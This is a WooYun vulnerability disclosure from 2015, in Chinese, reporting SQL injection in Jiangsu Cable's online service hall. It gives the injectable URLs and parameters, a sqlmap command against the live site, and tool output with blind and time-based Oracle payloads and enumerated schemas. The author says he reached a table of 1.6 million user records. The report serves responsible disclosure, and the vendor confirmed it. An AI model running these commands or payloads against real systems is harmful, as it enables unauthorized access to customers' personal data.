当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0103749

漏洞标题:江苏有线网上营业厅SQL注入(百万级用户信息)

相关厂商:江苏有线

漏洞作者: Vern

提交时间:2015-03-25 21:19

修复时间:2015-05-10 16:34

公开时间:2015-05-10 16:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-25: 细节已通知厂商并且等待厂商处理中
2015-03-26: 厂商已经确认,细节仅向厂商公开
2015-04-05: 细节向核心白帽子及相关领域专家公开
2015-04-15: 细节向普通白帽子公开
2015-04-25: 细节向实习白帽子公开
2015-05-10: 细节向公众公开

简要描述:

江苏有线网上营业厅SQL注入 毕竟全省有线电视+有线宽带网 涉及大量用户数据

详细说明:

江苏有线网上营业厅http://www.js96296.com/dzyyt_wt/cnnet/info/getProductFloor.jspx
注入点不少 注入点1:

http://www.js96296.com/dzyyt_wt/cnnet/info/getProductInfo.jspx?ipage=10&prodChannel=0&prodsearchType=&sortType=&sortWay=asc    -p "prodChannel"


注入点2

http://www.js96296.com/dzyyt_wt/cnnet/info/remoteControll.jspx?boardId=-1&titleId=10   -p "boardId,titleId"


注入点3

http://www.js96296.com/dzyyt_wt/cnnet/info/toBusinessmanager.jspx?boardId=5&titleId=-1  -p "titleId"


oracle数据库

C:\Python27>python sqlmap/sqlmap.py -u "http://www.js96296.com/dzyyt_wt/cnnet/in
fo/getProductInfo.jspx?ipage=10&prodChannel=0&prodsearchType=&sortType=&sortWay=
asc" -p "prodChannel" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 18:07:30
[18:07:31] [INFO] resuming back-end DBMS 'oracle'
[18:07:31] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: prodChannel
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ipage=10&prodChannel=0 AND 8842=8842&prodsearchType=&sortType=&sort
Way=asc
Type: AND/OR time-based blind
Title: Oracle OR time-based blind
Payload: ipage=10&prodChannel=-5838 OR 8234=DBMS_PIPE.RECEIVE_MESSAGE(CHR(75
)||CHR(97)||CHR(89)||CHR(90),5)&prodsearchType=&sortType=&sortWay=asc
---
[18:07:32] [INFO] the back-end DBMS is Oracle
web application technology: Servlet 2.5, JSP, JSP 2.1
back-end DBMS: Oracle
[18:07:32] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[18:07:32] [INFO] fetching database (schema) names
[18:07:32] [INFO] fetching number of databases
[18:07:32] [INFO] resumed: 20
[18:07:32] [INFO] resumed: CACHEMGR
[18:07:32] [INFO] resumed: CTXSYS
[18:07:32] [INFO] resumed: DBSNMP
[18:07:32] [INFO] resumed: DMSYS
[18:07:32] [INFO] resumed: DYER
[18:07:32] [INFO] resumed: EXFSYS
[18:07:32] [INFO] resumed: MDSYS
[18:07:32] [INFO] resumed: OLAPSYS
[18:07:32] [INFO] resumed: ORDSYS
[18:07:32] [INFO] resumed: OUTLN
[18:07:32] [INFO] resumed: SCOTT
[18:07:32] [INFO] resumed: SP2800
[18:07:32] [INFO] resumed: SP3300
[18:07:32] [INFO] resumed: SYS
[18:07:32] [INFO] resumed: SYSMAN
[18:07:32] [INFO] resumed: SYSTEM
[18:07:32] [INFO] resumed: TIMESTEN
[18:07:32] [INFO] resumed: TSMSYS
[18:07:32] [INFO] resumed: WMSYS
[18:07:32] [INFO] resumed: XDB
available databases [20]:
[*] CACHEMGR
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] DYER
[*] EXFSYS
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SCOTT
[*] SP2800
[*] SP3300
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TIMESTEN
[*] TSMSYS
[*] WMSYS
[*] XDB

漏洞证明:

1.png


随便找了一个历史库160多万条数据

2.png


里面有大量的用户关键信息 只是象征性的看了3条

修复方案:

各种过滤参数

版权声明:转载请注明来源 Vern@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-03-26 16:33

厂商回复:

多谢多谢

最新状态:

暂无